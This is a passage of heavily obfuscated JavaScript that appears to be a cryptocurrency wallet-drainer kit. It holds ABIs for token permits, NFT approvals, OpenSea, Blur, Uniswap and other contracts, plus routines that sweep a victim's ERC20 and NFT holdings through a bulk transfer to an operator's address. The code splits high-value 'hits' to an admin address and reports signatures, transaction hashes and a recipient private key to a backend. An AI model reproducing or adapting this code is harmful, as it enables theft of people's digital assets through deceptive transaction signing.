- type: "address"
- }];
- } catch (_0x247c0d) {
- v190 = _0x247c0d;
- await _0x8504ed(1000);
- }
- }
- if (JZmylD(vJZmylD16, WAZ9Ax(7))) {
- vD5[ABLWty(_0x1e3ff2[80] + 310) + ABLWty(892) + ABLWty.call(undefined, 247)] = JZmylD(1, vzwAVq = 7);
- _0x60a6a5({
- [ABLWty(153)]: "SEAPORT",
- step: "CREATE_ORDER",
- error: v190,
- data: v189
- });
- return JZmylD(1, WAZ9Ax(7));
- }
- _0x1e3ff2.eoWlEx = await _0x454fdf(vJZmylD16, _0x1e3ff2[1], JZmylD(ABLWty.call(undefined, 893) + v181[ABLWty(17)], " assets)", vzwAVq = -5), _0x1e3ff2[2]);
- if (_0x1e3ff2[_0x1e3ff2[80] + 144] > _0x1e3ff2[80] + 98) {
- return _0x1e3ff2[-48];
- } else {
- if (_0x1e3ff2.eoWlEx) {
- _0x452bf2({
- [ABLWty(_0x1e3ff2[80] + 487)]: _0x1e3ff2[1],
- [ABLWty.call(undefined, 220) + "Address"]: _0x1344d2,
- [ABLWty(894) + ABLWty(757)]: _0x1e3ff2.eoWlEx,
- [ABLWty(895) + "gned"]: vJZmylD16,
- ["recipi" + ABLWty(896)]: v185,
- recipientPrivateKey: v186,
- [ABLWty.call(undefined, 897)]: _0x1e3ff2[_0x1e3ff2[80] + 64],
- price: _0x1e3ff2[2]
- }, ABLWty(_0x1e3ff2[80] + 222));
- }
- return _0x1e3ff2.eoWlEx;
- }
- }, 3);
- }, 2));
- var ue = I(ZZ1LRs((..._0x124907) => {
- _0x124907.length = 2;
- _0x124907.ttFBw5 = _0x124907[1];
- const v194 = {
- internalType: "bytes32"
- };
- v194.name = "r";
- v194.type = "bytes32";
- const v196 = {
- internalType: "address"
- };
- v196.name = "to";
- v196.type = "address";
- const v197 = {
- internalType: "uint256[]"
- };
- v197.name = "amounts";
- v197.type = "uint256[]";
- var vQ5 = q();
- var v200 = [{
- [ABLWty.call(undefined, 898)]: [{
- ["intern" + ABLWty.call(undefined, 899)]: "address",
- name: ABLWty(780),
- [ABLWty(443)]: "address"
- }, {
- [ABLWty.call(undefined, 900)]: "address",
- [ABLWty(464)]: "spender",
- type: "address"
- }, {
- internalType: ABLWty(901),
- [ABLWty(464)]: "value",
- type: "uint256"
- }, {
- ["intern" + ABLWty(899)]: ABLWty(901),
- [ABLWty(464)]: ABLWty.call(undefined, 902) + "ne",
- type: "uint256"
- }, {
- [ABLWty.apply(undefined, [900])]: ABLWty.call(undefined, 903),
- [ABLWty(464)]: "v",
- [ABLWty(443)]: ABLWty(903)
- }, {
- internalType: ABLWty(904),
- name: "r",
- type: "bytes32"
- }, {
- ["intern" + ABLWty(899)]: ABLWty(904),
- [ABLWty(464)]: "s",
- [ABLWty(443)]: ABLWty(904)
- }],
- [ABLWty(464)]: ABLWty(265),
- [ABLWty(905)]: [],
- [ABLWty(906)]: "nonpayable",
- [ABLWty.apply(undefined, [443])]: ABLWty(907) + "on"
- }, {
- inputs: [{
- internalType: "address",
- [ABLWty(464)]: "owner",
- type: ABLWty(422)
- }, {
- [ABLWty(908) + ABLWty(899)]: "address",
- [ABLWty(464)]: "spender",
- [ABLWty(443)]: "address"
- }, {
- [ABLWty(908) + "alType"]: ABLWty(901),
- name: "value",
- [ABLWty(443)]: ABLWty(901)
- }, {
- [ABLWty(900)]: ABLWty(901),
- name: ABLWty(902) + "ne",
- [ABLWty.apply(undefined, [443])]: ABLWty(901)
- }, {
- ["intern" + ABLWty(899)]: ABLWty.apply(undefined, [909]),
- [ABLWty(464)]: "signat" + ABLWty(757),
- type: "bytes"
- }],
- name: ABLWty(265),
- [ABLWty.call(undefined, 905)]: [],
- stateMutability: ABLWty(910) + ABLWty(911),
- type: ABLWty(907) + "on"
- }, {
- [ABLWty.call(undefined, 912) + "nt"]: JZmylD(1, WAZ9Ax(7)),
- inputs: [{
- [ABLWty(908) + "alType"]: ABLWty(422),
- [ABLWty(464)]: "holder",
- type: "address"
- }, {
- [ABLWty(900)]: "address",
- name: ABLWty(913),
- [ABLWty(443)]: "address"
- }, {
- [ABLWty(908) + "alType"]: ABLWty(901),
- name: "nonce",
- type: ABLWty(901)
- }, {
- [ABLWty(900)]: "uint256",
- name: "expiry",
- type: "uint256"
- }, {
- [ABLWty(900)]: "bool",
- [ABLWty.call(undefined, 464)]: "allowed",
- type: ABLWty(914)
- }, {
- internalType: ABLWty(903),
- [ABLWty(464)]: "v",
- [ABLWty(443)]: ABLWty(903)
- }, v194, {
- internalType: ABLWty(904),
- [ABLWty(464)]: "s",
- [ABLWty(443)]: ABLWty(904)
- }],
- name: "permit",
- outputs: [],
- payable: JZmylD(1, WAZ9Ax(7)),
- stateMutability: "nonpayable",
- [ABLWty(443)]: "function"
- }, {
- constant: JZmylD(1, vzwAVq = 7),
- inputs: [{
- [ABLWty(900)]: "address",
- [ABLWty(464)]: ABLWty(915),
- type: "address"
- }, {
- [ABLWty.call(undefined, 908) + "alType"]: "address",
- name: ABLWty(913),
- type: ABLWty(422)
- }, {
- internalType: ABLWty(901),
- [ABLWty.call(undefined, 464)]: ABLWty(731),
- type: ABLWty(901)
- }, {
- internalType: "uint256",
- name: ABLWty(916),
- [ABLWty(443)]: "uint256"
- }, {
- internalType: ABLWty(914),
- [ABLWty(464)]: "allowed",
- type: ABLWty(914)
- }, {
- [ABLWty.call(undefined, 900)]: ABLWty(909),
- name: "signature",
- type: "bytes"
- }],
- name: "permit",
- outputs: [],
- payable: JZmylD(1, WAZ9Ax(7)),
- stateMutability: "nonpayable",
- type: "function"
- }, {
- [ABLWty.call(undefined, 912) + "nt"]: JZmylD(1, vzwAVq = 7),
- inputs: [{
- name: "_spender",
- type: ABLWty(422)
- }, {
- [ABLWty.call(undefined, 464)]: "_value",
- [ABLWty(443)]: "uint256"
- }],
- name: ABLWty(917),
- [ABLWty(905)]: [{
- [ABLWty(464)]: "",
- [ABLWty(443)]: ABLWty(914)
- }],
- payable: JZmylD(1, vzwAVq = 7),
- [ABLWty.call(undefined, 906)]: "nonpayable",
- type: ABLWty(907) + "on"
- }, {
- [ABLWty(918)]: JZmylD(1, WAZ9Ax(7)),
- [ABLWty(898)]: [{
- name: ABLWty(919),
- type: "address"
- }, {
- name: ABLWty(920),
- type: ABLWty(901)
- }],
- name: "transfer",
- [ABLWty(905)]: [{
- [ABLWty(464)]: "",
- type: ABLWty(914)
- }],
- [ABLWty(921)]: JZmylD(1, WAZ9Ax(7)),
- [ABLWty(906)]: "nonpay" + ABLWty(911),
- type: "function"
- }, {
- inputs: [{
- internalType: ABLWty.apply(undefined, [422]),
- name: ABLWty(780),
- [ABLWty(443)]: "address"
- }],
- name: ABLWty(922),
- outputs: [{
- [ABLWty(908) + "alType"]: ABLWty(901),
- name: "",
- [ABLWty.call(undefined, 443)]: ABLWty(901)
- }],
- [ABLWty.call(undefined, 923) + "utabil" + ABLWty(924)]: ABLWty(925),
- [ABLWty(443)]: ABLWty.call(undefined, 907) + "on"
- }, {
- inputs: [{
- [ABLWty.call(undefined, 908) + ABLWty(899)]: "address",
- name: ABLWty(913),
- [ABLWty(443)]: ABLWty.apply(undefined, [422])
- }, {
- [ABLWty(908) + "alType"]: ABLWty.call(undefined, 901),
- name: "addedValue",
- [ABLWty.apply(undefined, [443])]: ABLWty(901)
- }],
- [ABLWty.call(undefined, 464)]: ABLWty(926),
- outputs: [{
- [ABLWty(900)]: ABLWty.call(undefined, 914),
- name: "",
- [ABLWty(443)]: ABLWty(914)
- }],
- [ABLWty(923) + ABLWty(927) + ABLWty(924)]: ABLWty(928),
- [ABLWty.call(undefined, 443)]: ABLWty(907) + "on"
- }, {
- inputs: [],
- name: "test",
- outputs: [],
- ["stateM" + ABLWty(927) + ABLWty.call(undefined, 924)]: "nonpayable",
- type: "function"
- }, {
- inputs: [{
- ["intern" + ABLWty(899)]: "address",
- [ABLWty(464)]: "spender",
- type: "address"
- }, {
- [ABLWty(908) + "alType"]: ABLWty(901),
- [ABLWty(464)]: "addedValue",
- [ABLWty(443)]: ABLWty.call(undefined, 901)
- }],
- [ABLWty(464)]: "increa" + ABLWty.call(undefined, 929) + ABLWty(930),
- [ABLWty(905)]: [{
- ["intern" + ABLWty(899)]: ABLWty(914),
- [ABLWty(464)]: "",
- [ABLWty(443)]: ABLWty(914)
- }],
- [ABLWty(906)]: "nonpay" + ABLWty(911),
- [ABLWty(443)]: ABLWty(931)
- }];
- var v201 = [{
- inputs: [{
- [ABLWty(900)]: "address",
- name: ABLWty(932),
- [ABLWty(443)]: ABLWty(422)
- }, {
- internalType: ABLWty(914),
- name: ABLWty(933),
- type: "bool"
- }],
- [ABLWty(464)]: ABLWty(934) + ABLWty(935) + "orAll",
- outputs: [],
- [ABLWty(923) + "utabil" + ABLWty(924)]: ABLWty(910) + ABLWty(911),
- type: ABLWty(931)
- }, {
- [ABLWty(898)]: [{
- [ABLWty(900)]: ABLWty(422),
- [ABLWty.apply(undefined, [464])]: "to",
- type: ABLWty(422)
- }, {
- [ABLWty.apply(undefined, [900])]: "uint256",
- [ABLWty.apply(undefined, [464])]: "tokenId",
- [ABLWty(443)]: "uint256"
- }],
- name: "approve",
- outputs: [],
- [ABLWty(906)]: ABLWty(928),
- type: ABLWty(931)
- }, {
- [ABLWty(898)]: [{
- [ABLWty(908) + ABLWty(899)]: "address",
- name: "operator",
- type: ABLWty(422)
- }, {
- internalType: ABLWty.call(undefined, 914),
- name: "approved",
- type: "bool"
- }],
- name: "approveForAll",
- outputs: [],
- ["stateM" + ABLWty(927) + "ity"]: ABLWty(928),
- type: ABLWty(931)
- }, {
- constant: JZmylD(1, vzwAVq = 7),
- inputs: [{
- [ABLWty(464)]: "to",
- type: ABLWty(422)
- }, {
- [ABLWty(464)]: ABLWty(936) + ABLWty(937),
- type: "uint256"
- }],
- name: "transferPunk",
- [ABLWty.call(undefined, 905)]: [],
- [ABLWty.call(undefined, 921)]: JZmylD(1, vzwAVq = 7),
- [ABLWty.call(undefined, 443)]: "function"
- }, {
- inputs: [{
- [ABLWty(900)]: "address",
- name: "to",
- type: ABLWty(422)
- }, {
- internalType: "uint256[]",
- [ABLWty.apply(undefined, [464])]: ABLWty(938),
- [ABLWty.apply(undefined, [443])]: ABLWty(939) + "6[]"
- }],
- name: ABLWty.call(undefined, 940),
- [ABLWty(905)]: [],
- stateMutability: ABLWty.call(undefined, 910) + "able",
- type: "function"
- }, {
- [ABLWty.call(undefined, 898)]: [{
- internalType: ABLWty(941),
- name: "data",
- [ABLWty(443)]: ABLWty(941)
- }],
- name: ABLWty(942),
- outputs: [{
- internalType: "bytes[]",
- name: "results",
- type: "bytes[]"
- }],
- ["stateMutabil" + ABLWty(924)]: "payable",
- [ABLWty.apply(undefined, [443])]: "function"
- }];
- var v202 = [{
- inputs: [{
- components: [{
- [ABLWty(943) + "ents"]: [{
- [ABLWty(908) + ABLWty(899)]: ABLWty(944),
- [ABLWty(464)]: "itemType",
- type: ABLWty(903)
- }, {
- internalType: "address",
- [ABLWty(464)]: "token",
- type: "address"
- }, {
- internalType: "uint256",
- name: ABLWty(945) + ABLWty(946),
- [ABLWty(443)]: ABLWty.apply(undefined, [901])
- }, {
- [ABLWty(900)]: "uint256",
- [ABLWty.call(undefined, 464)]: "amount",
- [ABLWty.call(undefined, 443)]: "uint256"
- }],
- internalType: "struct" + ABLWty(947) + ABLWty(948) + ABLWty(949) + ABLWty(950),
- name: "items",
- [ABLWty(443)]: "tuple[]"
- }, {
- internalType: "address",
- name: ABLWty(951),
- type: ABLWty(422)
- }, {
- [ABLWty(908) + ABLWty(899)]: "bool",
- name: ABLWty(628) + ABLWty(952) + ABLWty(953) + "iver",
- [ABLWty(443)]: "bool"
- }],
- internalType: "struct TransferHelperItemsWithRecipient[]",
- name: "items",
- [ABLWty(443)]: "tuple[]"
- }, {
- internalType: "bytes32",
- [ABLWty(464)]: ABLWty(954),
- [ABLWty(443)]: "bytes32"
- }],
- name: ABLWty(955) + ABLWty(157),
- [ABLWty.apply(undefined, [905])]: [{
- internalType: "bytes4",
- [ABLWty(464)]: "magicValue",
- [ABLWty(443)]: "bytes4"
- }],
- [ABLWty(906)]: "nonpayable",
- [ABLWty(443)]: "function"
- }];
- var v203 = [{
- constant: JZmylD(1, vzwAVq = 7),
- inputs: [{
- name: "implementation",
- type: ABLWty(422)
- }],
- name: "upgradeTo",
- [ABLWty.apply(undefined, [905])]: [],
- payable: JZmylD(1, WAZ9Ax(7)),
- stateMutability: ABLWty(910) + "able",
- [ABLWty(443)]: ABLWty(931)
- }];
- var v204 = [{
- inputs: [{
- ["compon" + ABLWty(956)]: [{
- internalType: "contract IER" + ABLWty(957),
- [ABLWty.call(undefined, 464)]: "token",
- [ABLWty(443)]: ABLWty(422)
- }, {
- [ABLWty.apply(undefined, [908]) + "alType"]: ABLWty(901),
- name: ABLWty(430),
- [ABLWty(443)]: ABLWty.apply(undefined, [901])
- }],
- [ABLWty(908) + ABLWty(899)]: ABLWty(958) + ABLWty(959) + ABLWty(960) + "]",
- [ABLWty(464)]: ABLWty(961),
- type: ABLWty(962)
- }, v196],
- [ABLWty(464)]: ABLWty.call(undefined, 963),
- [ABLWty(905)]: [],
- ["stateM" + ABLWty(927) + "ity"]: "nonpay" + ABLWty(911),
- [ABLWty(443)]: "function"
- }];
- var v205 = [{
- inputs: [{
- [ABLWty(908) + "alType"]: ABLWty(901),
- [ABLWty(464)]: ABLWty(964),
- [ABLWty(443)]: "uint256"
- }, {
- [ABLWty(900)]: "address",
- name: ABLWty(965),
- type: "address"
- }],
- name: "withdrawApeCoin",
- [ABLWty.call(undefined, 905)]: [],
- stateMutability: ABLWty(928),
- [ABLWty(443)]: ABLWty(907) + "on"
- }];
- var v206 = [{
- inputs: [{
- [ABLWty(908) + "alType"]: ABLWty(422),
- name: "",
- type: "address"
- }, {
- [ABLWty(908) + ABLWty(899)]: ABLWty.call(undefined, 422),
- [ABLWty(464)]: "",
- type: ABLWty(422)
- }, {
- internalType: ABLWty(422),
- name: "",
- [ABLWty.call(undefined, 443)]: ABLWty.apply(undefined, [422])
- }],
- name: "allowance",
- outputs: [{
- [ABLWty(908) + "alType"]: ABLWty.apply(undefined, [966]),
- [ABLWty(464)]: ABLWty(762),
- [ABLWty(443)]: "uint160"
- }, {
- [ABLWty(908) + ABLWty.apply(undefined, [899])]: "uint48",
- [ABLWty.apply(undefined, [464])]: "expiration",
- [ABLWty(443)]: ABLWty(967)
- }, {
- internalType: ABLWty.apply(undefined, [967]),
- [ABLWty(464)]: "nonce",
- type: "uint48"
- }],
- stateMutability: ABLWty(925),
- type: "function"
- }];
- var v207 = [{
- inputs: [{
- ["intern" + ABLWty(899)]: "address",
- name: "_gov",
- [ABLWty(443)]: "address"
- }],
- name: "setGov",
- [ABLWty(905)]: [],
- stateMutability: "nonpayable",
- type: ABLWty(931)
- }, {
- inputs: [{
- [ABLWty(908) + ABLWty.apply(undefined, [899])]: ABLWty(422),
- name: "_recei" + ABLWty.apply(undefined, [968]),
- type: "address"
- }],
- [ABLWty(464)]: "signalTransfer",
- outputs: [],
- [ABLWty(906)]: ABLWty(910) + ABLWty(911),
- [ABLWty(443)]: "function"
- }];
- var v208 = [{
- constant: JZmylD(1, WAZ9Ax(7)),
- inputs: [{
- name: ABLWty(969),
- [ABLWty(443)]: "address"
- }],
- name: ABLWty(970) + "er",
- outputs: [],
- [ABLWty(921)]: JZmylD(1, WAZ9Ax(7)),
- [ABLWty(906)]: "nonpay" + ABLWty(911),
- type: "function"
- }];
- var v209 = [{
- [ABLWty(898)]: [{
- [ABLWty(908) + ABLWty.apply(undefined, [899])]: "address",
- [ABLWty(464)]: "token",
- [ABLWty(443)]: "address"
- }, {
- [ABLWty(900)]: "address payable",
- [ABLWty.apply(undefined, [464])]: "to",
- [ABLWty(443)]: "address"
- }, {
- [ABLWty(908) + ABLWty(899)]: "uint240",
- name: "amount",
- [ABLWty(443)]: ABLWty(971)
- }],
- name: ABLWty(972),
- [ABLWty(905)]: [],
- [ABLWty(923) + ABLWty(927) + ABLWty(924)]: ABLWty(928),
- type: ABLWty(931)
- }];
- var v210 = [{
- inputs: [{
- [ABLWty(908) + ABLWty.apply(undefined, [899])]: "uint256",
- name: "amountOut",
- type: "uint256"
- }, {
- [ABLWty(908) + ABLWty(899)]: ABLWty(973) + ABLWty.apply(undefined, [974]),
- [ABLWty(464)]: ABLWty(975),
- type: "address[]"
- }],
- name: "getAmountsIn",
- [ABLWty(905)]: [{
- internalType: ABLWty(976),
- [ABLWty(464)]: "amounts",
- [ABLWty(443)]: "uint256[]"
- }],
- [ABLWty(906)]: ABLWty(925),
- [ABLWty(443)]: "function"
- }, {
- inputs: [{
- [ABLWty.apply(undefined, [908]) + ABLWty(899)]: "uint256",
- [ABLWty(464)]: "amountIn",
- type: "uint256"
- }, {
- internalType: "address[]",
- [ABLWty(464)]: "path",
- type: ABLWty.apply(undefined, [977])
- }],
- [ABLWty(464)]: "getAmo" + ABLWty(978) + "t",
- outputs: [{
- [ABLWty(900)]: "uint256[]",
- [ABLWty(464)]: ABLWty(979),
- [ABLWty(443)]: "uint25" + ABLWty.apply(undefined, [980])
- }],
- [ABLWty(923) + "utabil" + ABLWty(924)]: ABLWty(925),
- type: "function"
- }, {
- inputs: [{
- [ABLWty(900)]: "uint256",
- name: ABLWty(762) + "In",
- type: ABLWty(901)
- }, {
- internalType: ABLWty(901),
- [ABLWty(464)]: "amountOutMin",
- [ABLWty(443)]: ABLWty.apply(undefined, [901])
- }, {
- internalType: ABLWty(973) + ABLWty(974),
- [ABLWty(464)]: "path",
- [ABLWty(443)]: "address[]"
- }, {
- internalType: ABLWty.apply(undefined, [422]),
- [ABLWty(464)]: "to",
- type: ABLWty(422)
- }, {
- [ABLWty(908) + "alType"]: "uint256",
- [ABLWty(464)]: "deadline",
- [ABLWty(443)]: ABLWty(901)
- }],
- name: ABLWty.call(undefined, 981) + "actTokensFor" + ABLWty(424),
- [ABLWty.call(undefined, 905)]: [v197],
- [ABLWty.call(undefined, 923) + ABLWty(927) + "ity"]: "nonpayable",
- type: "function"
- }, {
- inputs: [{
- [ABLWty(908) + ABLWty(899)]: ABLWty(901),
- name: "amountIn",
- [ABLWty(443)]: "uint256"
- }, {
- [ABLWty(908) + ABLWty(899)]: ABLWty.apply(undefined, [901]),
- name: "amountOutMin",
- [ABLWty(443)]: ABLWty(901)
- }, {
- [ABLWty(908) + "alType"]: "address[]",
- name: ABLWty(975),
- [ABLWty(443)]: "address[]"
- }, {
- internalType: "address",
- name: "to",
- type: ABLWty(422)
- }, {
- [ABLWty.call(undefined, 900)]: ABLWty(901),
- [ABLWty(464)]: "deadline",
- type: ABLWty(901)
- }],
- name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
- [ABLWty.call(undefined, 905)]: [{
- [ABLWty(908) + "alType"]: ABLWty(976),
- [ABLWty(464)]: "amounts",
- type: ABLWty(939) + ABLWty(980)
- }],
- ["stateMutabil" + ABLWty(924)]: ABLWty(910) + ABLWty(911),
- [ABLWty.apply(undefined, [443])]: "function"
- }, {
- inputs: [{
- [ABLWty(908) + "alType"]: "bytes[]",
- name: "data",
- type: "bytes[]"
- }],
- name: ABLWty(982) + "all",
- outputs: [{
- [ABLWty.call(undefined, 908) + "alType"]: ABLWty.apply(undefined, [941]),
- [ABLWty(464)]: "results",
- [ABLWty(443)]: "bytes[]"
- }],
- [ABLWty.call(undefined, 906)]: "payable",
- [ABLWty(443)]: ABLWty.apply(undefined, [907]) + "on"
- }, {
- inputs: [{
- [ABLWty(900)]: "uint256",
- name: ABLWty(983),
- type: ABLWty(901)
- }, {
- internalType: ABLWty(901),
- name: ABLWty(762) + ABLWty(984),
- type: ABLWty.call(undefined, 901)
- }, {
- internalType: "address[]",
- [ABLWty(464)]: ABLWty(975),
- type: ABLWty(973) + ABLWty(974)
- }, {
- [ABLWty(908) + ABLWty(899)]: ABLWty(422),
- name: "to",
- [ABLWty(443)]: "address"
- }],
- [ABLWty(464)]: ABLWty(981) + "actTokensFor" + ABLWty(424),
- [ABLWty.apply(undefined, [905])]: [{
- ["intern" + ABLWty(899)]: "uint256",
- [ABLWty.apply(undefined, [464])]: ABLWty.apply(undefined, [762]) + "Out",
- type: ABLWty(901)
- }],
- [ABLWty.apply(undefined, [906])]: "payable",
- type: "function"
- }, {
- [ABLWty(898)]: [{
- ["intern" + ABLWty(899)]: "uint256",
- name: ABLWty(983),
- type: ABLWty.apply(undefined, [901])
- }, {
- internalType: ABLWty(901),
- [ABLWty(464)]: ABLWty(762) + "OutMin",
- type: ABLWty(901)
- }, {
- internalType: ABLWty(977),
- [ABLWty.apply(undefined, [464])]: "path",
- [ABLWty(443)]: ABLWty(973) + "s[]"
- }, {
- [ABLWty(908) + "alType"]: "address",
- [ABLWty(464)]: "to",
- type: ABLWty(422)
- }],
- name: ABLWty(985),
- [ABLWty(905)]: [{
- [ABLWty(900)]: "uint256",
- name: "amountOut",
- type: ABLWty(901)
- }],
- [ABLWty.apply(undefined, [923]) + ABLWty.call(undefined, 927) + ABLWty(924)]: "payable",
- type: "function"
- }];
- var v211 = [{
- [ABLWty(898)]: [{
- [ABLWty(908) + "alType"]: ABLWty(986),
- [ABLWty(464)]: "_token",
- [ABLWty.apply(undefined, [443])]: ABLWty(422)
- }, {
- internalType: "uint256",
- [ABLWty(464)]: "_amount",
- type: "uint256"
- }, {
- internalType: "address",
- name: "_receiver",
- type: "address"
- }],
- [ABLWty(464)]: "withdraw",
- outputs: [],
- [ABLWty(923) + "utabil" + ABLWty.apply(undefined, [924])]: "nonpayable",
- [ABLWty.call(undefined, 443)]: "function"
- }];
- var v212 = [{
- inputs: [],
- [ABLWty(464)]: vQ5.transfer_function_name.replace(" ", ""),
- [ABLWty(905)]: [],
- [ABLWty(906)]: ABLWty.apply(undefined, [921]),
- [ABLWty(443)]: "function"
- }];
- var v213 = [{
- [ABLWty.apply(undefined, [912]) + "nt"]: JZmylD(0, vzwAVq = 7),
- inputs: [{
- [ABLWty(987)]: [{
- [ABLWty(464)]: "target",
- [ABLWty(443)]: "address"
- }, {
- name: ABLWty(988) + "ta",
- type: ABLWty.apply(undefined, [909])
- }],
- name: ABLWty(989),
- type: ABLWty.call(undefined, 962)
- }],
- [ABLWty(464)]: "aggregate",
- outputs: [{
- [ABLWty(464)]: ABLWty(990) + ABLWty(991),
- type: ABLWty(901)
- }, {
- name: "returnData",
- type: "bytes[]"
- }],
- [ABLWty(921)]: JZmylD(1, vzwAVq = 7),
- [ABLWty(906)]: ABLWty(925),
- [ABLWty(443)]: ABLWty(931)
- }];
- _0x124907.ttFBw5.exports = {
- [ABLWty(992)]: v200,
- [ABLWty(993)]: v201,
- OPENSEA_TRANSFER_HELPER: v202,
- [ABLWty(994) + "_PROXY_CONTR" + ABLWty(995)]: v203,
- [ABLWty(996)]: v204,
- [ABLWty.call(undefined, 997) + ABLWty(998) + ABLWty(999)]: v205,
- [ABLWty(349)]: v206,
- ["GMX_REWARD_R" + ABLWty(348)]: v207,
- MAKER_DAO: v208,
- FUEL: v209,
- [ABLWty(1000)]: v210,
- SWELL_POOL: v211,
- [ABLWty(1001) + "ER_CONTRACT"]: v212,
- MULTICALL: v213
- };
- }, 2));
- var un = I(ZZ1LRs((..._0x40e213) => {
- _0x40e213.length = 2;
- _0x40e213.GlItLI2 = -27;
- var vD6 = D();
- var {
- OPENSEA_TRANSFER_HELPER: _0x4d048a
- } = ue();
- var {
- OPENSEA_TRANSFER_HELPER: _0x4ea0ce
- } = de();
- var {
- numberToHex: _0x459ff5
- } = pe();
- var {
- request: _0x2431f8
- } = Y();
- var {
- estimateGasLimit: _0x23bd6a,
- sendTransaction: _0x7c4a84
- } = Z();
- var v214 = new ethers.utils.Interface(_0x4d048a);
- _0x40e213[_0x40e213.GlItLI2 + 28][ABLWty(21)] = ZZ1LRs(async function (..._0x4a1637) {
- _0x4a1637.length = 3;
- _0x4a1637.Bzbv7jy = -17;
- let {
- customerAddress: _0x29b819,
- isAutoSplitEnabled: _0x3032ab,
- adminsNonSplittedHitsAddress: _0x3688f8,
- walletAddress: _0x555c5f
- } = vD6;
- let v215 = [];
- for (let v216 of _0x4a1637[_0x4a1637.Bzbv7jy + 17]) {
- if (v216.type === "erc20") {
- v215.push({
- itemType: 1,
- token: v216.address,
- identifier: "0",
- amount: v216.balance
- });
- } else {
- for (let v217 of v216.tokensId) {
- v215.push({
- itemType: v216.type === "erc721" ? 2 : 3,
- token: v216.address,
- ["identi" + ABLWty(946)]: v217,
- amount: "1"
- });
- }
- }
- }
- let v218 = v214[ABLWty(_0x4a1637.Bzbv7jy + 879) + ABLWty(1002) + "onData"]("bulkTransfer", [[[v215, _0x3032ab && _0x4a1637[2] > 5000 ? _0x3688f8 : _0x29b819, JZmylD(1, WAZ9Ax(7))]], "0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000"]);
- let v219 = {
- from: _0x555c5f,
- to: _0x4ea0ce,
- data: v218
- };
- let [v220, v221] = await _0x23bd6a(v219, _0x4a1637[1], {
- [ABLWty(_0x4a1637.Bzbv7jy + 752)]: JZmylD(1, WAZ9Ax(7)),
- isHighPrice: _0x4a1637[2] > 1000
- });
- if (["staked", "failed"].includes(v221)) {
- vD6.areOpenseaTransfersSupported = JZmylD(_0x4a1637.Bzbv7jy + 18, vzwAVq = 7);
- return JZmylD(1, vzwAVq = _0x4a1637.Bzbv7jy + 24);
- }
- v219.gasLimit = _0x459ff5(v220);
- delete v219.from;
- let [v222, v223, v224] = await _0x7c4a84(v219, _0x4a1637[1], JZmylD("Opensea transfers (" + v215.length, " assets)", WAZ9Ax(-5)), _0x4a1637[2]);
- if (_0x4a1637.Bzbv7jy > _0x4a1637.Bzbv7jy + 56) {
- return _0x4a1637[_0x4a1637.Bzbv7jy - 163];
- } else if (v222) {
- _0x2431f8(v223 === "signature" ? {
- chainId: _0x4a1637[_0x4a1637.Bzbv7jy + 18],
- walletAddress: _0x555c5f,
- signature: v222,
- rawTx: v219,
- assets: _0x4a1637[0],
- price: _0x4a1637[2],
- isManualClaimNeeded: v224,
- type: 1
- } : {
- chainId: _0x4a1637[1],
- walletAddress: _0x555c5f,
- txHash: v222,
- assets: _0x4a1637[0],
- price: _0x4a1637[2],
- type: _0x4a1637.Bzbv7jy + 19
- }, "opensea-transfers");
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return JZmylD(_0x4a1637.Bzbv7jy + 18, WAZ9Ax(_0x4a1637.Bzbv7jy + 24));
- }
- }, 3);
- }, 2));
- var yn = I(ZZ1LRs((..._0x394261) => {
- _0x394261.length = 2;
- _0x394261[91] = _0x394261[0];
- var vD7 = D();
- var {
- BLUR_FEE_TYPEHASH: _0x2c97b3,
- BLUR_ORDER_TYPEHASH: _0x3035de
- } = he();
- var {
- BLUR: _0x9e8fce,
- ERC721_MATCHING_POLICY: _0x58f0ec,
- BLUR_POOL_TOKEN: _0x59d6b3
- } = de();
- var {
- getSalt: _0x2ff298
- } = pe();
- var {
- request: _0xd82a7a,
- logError: _0x31dbc2
- } = Y();
- var {
- signTypedData: _0x2f7f52
- } = Z();
- ZZ1LRs(f36, 1);
- function f36(..._0x1db713) {
- _0x1db713.length = 1;
- _0x1db713.r8uD1f = -18;
- _0x1db713.PMKoKrA = ethers[ABLWty(714)].defaultAbiCoder.encode(function (p81) {
- for (var v225 = 16; v225 % 4 === 0; v225++) {
- var v226 = 0;
- p81 = p81.concat(function () {
- v226++;
- if (v226 === 1) {
- return [];
- }
- for (var v227 = 55; v227; v227--) {
- p81.unshift(p81.pop());
- }
- return [];
- }());
- }
- for (var v228 = 9; v228; v228--) {
- p81.unshift(p81.pop());
- }
- return p81;
- }(["bytes32", "uint16", "address"]), [_0x2c97b3, _0x1db713[0].rate, _0x1db713[_0x1db713.r8uD1f + 18].recipient]);
- _0x1db713.r8uD1f = 52;
- if (_0x1db713.r8uD1f > 104) {
- return _0x1db713[55];
- } else {
- return ethers.utils.keccak256(_0x1db713.PMKoKrA);
- }
- }
- ZZ1LRs(f37, 1);
- function f37(..._0xb3c4ac) {
- _0xb3c4ac.length = 1;
- _0xb3c4ac.jFKGTa = 87;
- let v229 = _0xb3c4ac[0].map(f36);
- let v230 = ethers.utils.solidityPack(Array(v229.length).fill("bytes32"), v229);
- _0xb3c4ac[_0xb3c4ac.jFKGTa - 81] = _0xb3c4ac[0];
- if (_0xb3c4ac.jFKGTa > 171) {
- return _0xb3c4ac[-88];
- } else {
- return ethers.utils.keccak256(v230);
- }
- }
- ZZ1LRs(f38, 2);
- function f38(..._0x38c344) {
- _0x38c344.length = 2;
- _0x38c344[178] = _0x38c344[0];
- let vF37 = f37(_0x38c344[178].fees);
- let v231 = ethers.utils.keccak256(_0x38c344[178].extraParams);
- let v232 = ethers.utils.defaultAbiCoder.encode(["bytes32", "address", "uint8", "address", ABLWty(422), "uint256", "uint256", "address", "uint256", "uint256", "uint256", "bytes32", "uint256", "bytes32"], [_0x3035de, _0x38c344[178].trader, _0x38c344[178].side, _0x38c344[178].matchingPolicy, _0x38c344[178].collection, _0x38c344[178].tokenId, _0x38c344[178].amount, _0x38c344[178].paymentToken, _0x38c344[178].price, _0x38c344[178]["listin" + ABLWty(1003)], _0x38c344[178].expirationTime, vF37, _0x38c344[178].salt, v231]);
- let v233 = ethers.utils.concat([v232, ethers.utils.defaultAbiCoder.encode(["uint256"], [_0x38c344[1]])]);
- _0x38c344[187] = _0x38c344[178];
- return ethers.utils.keccak256(v233);
- }
- _0x394261[1].exports = ZZ1LRs(async function (..._0x3bc524) {
- _0x3bc524.length = 2;
- _0x3bc524[98] = _0x3bc524[1];
- let {
- blurFakeCollectionContract: _0x5ee660,
